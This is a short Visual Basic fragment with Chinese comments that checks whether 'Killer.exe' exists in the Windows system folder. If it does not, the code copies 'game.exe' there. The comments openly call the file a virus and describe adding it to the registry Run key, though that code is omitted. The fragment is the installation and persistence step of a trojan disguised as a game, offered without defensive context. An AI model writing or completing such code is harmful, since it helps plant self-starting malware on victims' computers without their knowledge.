""定义 FileExists% 函数
public success%
Function FileExists%(fname$)
On Local Error Resume Next
Dim ff%
ff% = FreeFile
Open fname$ For Input As ff%
If Err Then
FileExists% = False
Else
FileExists% = True
End If
Close ff%
End Function
代码部分:
""判断文件是否存在
success% = FileExists%("C:\windows\system\Killer.exe")
If success% = False Then ""病毒不存在则拷贝病毒到计算机
FileCopy "game.exe", "C:\windows\system\Killer.exe"
... ""修改注册表,将其加入RUN中。(省略若干代码)
End If